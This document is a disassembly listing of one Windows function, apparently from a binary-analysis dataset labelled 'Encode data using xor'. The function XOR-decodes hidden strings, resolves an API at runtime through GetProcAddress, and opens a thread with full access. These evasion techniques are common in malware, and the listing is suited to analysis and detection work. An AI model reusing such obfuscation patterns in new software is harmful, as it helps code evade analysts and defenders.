Function at 0x1002d4c0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100aa9bd
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x48
mov eax, dword [0x100c90c0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
call fcn.10019be0
test eax, eax
je 0x1002d533
push esi
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, eax
xor eax, eax
test ecx, ecx
setne al
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1002d535
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
jmp 0x1002d535
xor eax, eax
test eax, eax
jne 0x1002d5f0
movaps xmm0, xmmword [0x100bf4b0]
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0x706f6a67
mov word [ebp - 0x20], 0x2763
mov byte [ebp - 0x1e], al
nop word [eax + eax]
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x15
jb 0x1002d560
xorps xmm0, xmm0
mov byte [ebp - 0x1e], 0
lea ecx, [ebp - 0x33]
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002d590
sub ecx, edx
lea eax, [ebp - 0x33]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.10002620
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0
call fcn.10021e10
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x1002d5f0
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1002d5e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002d82a
push ecx
push edx
call fcn.100859f6
add esp, 8
movaps xmm0, xmmword [0x100bed50]
xor ecx, ecx
movups xmmword [ebp - 0x30], xmm0
nop dword [eax]
mov al, byte [ebp - 0x30]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0xe
jb 0x1002d600
mov byte [ebp - 0x40], 0x31
mov al, 0x5f
xor al, byte [ebp - 0x40]
mov cl, 0x45
xor cl, byte [ebp - 0x40]
mov dl, 0x55
mov byte [ebp - 0x3f], al
mov ah, 0x5d
mov byte [ebp - 0x19], dl
mov ch, ah
mov al, byte [ebp - 0x19]
mov dh, 0x1f
mov byte [ebp - 0x3e], cl
mov cl, byte [ebp - 0x40]
xor al, cl
mov byte [ebp - 0x1a], ah
mov byte [ebp - 0x39], al
xor dl, cl
mov al, byte [ebp - 0x1a]
xor ch, cl
xor al, cl
mov byte [ebp - 0x1b], ah
mov byte [ebp - 0x38], al
xor ah, cl
mov al, byte [ebp - 0x1b]
xor dh, cl
xor al, cl
mov byte [ebp - 0x3c], ah
mov byte [ebp - 0x37], al
lea eax, [ebp - 0x3f]
mov byte [ebp - 0x36], 0
push eax
mov byte [ebp - 0x21], 0
mov byte [ebp - 0x3d], dl
mov byte [ebp - 0x3b], ch
mov byte [ebp - 0x3a], dh
mov byte [ebp - 0x36], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x2f]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xd78dd4
mov esi, eax
call fcn.1001cb40
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x1002d80c
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
push edi
call esi
test eax, eax
jns 0x1002d760
movaps xmm0, xmmword [0x100bf160]
xor ecx, ecx
movups xmmword [ebp - 0x30], xmm0
mov word [ebp - 0x20], 0x5619
mov byte [ebp - 0x1e], 0
mov al, byte [ebp - 0x30]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0x11
jb 0x1002d6d3
xorps xmm0, xmm0
mov byte [ebp - 0x1e], 0
lea ecx, [ebp - 0x2f]
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002d700
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.10002620
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 1
call fcn.10021e10
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x1002d760
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1002d756
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002d82f
push ecx
push edx
call fcn.100859f6
add esp, 8
cmp dword [ebp - 0x18], 0
jbe 0x1002d805
movaps xmm0, xmmword [0x100bf2b0]
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0x18191812
mov word [ebp - 0x20], 0x5d
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x14
jb 0x1002d784
xorps xmm0, xmm0
mov byte [ebp - 0x1f], 0
lea ecx, [ebp - 0x33]
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002d7b0
sub ecx, edx
lea eax, [ebp - 0x33]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.10002620
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 2
call fcn.10021e10
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x1002d805
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1002d7fb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1002d82f
push ecx
push edx
call fcn.100859f6
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10085995
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.1008ac0f
call fcn.1008ac0f
int3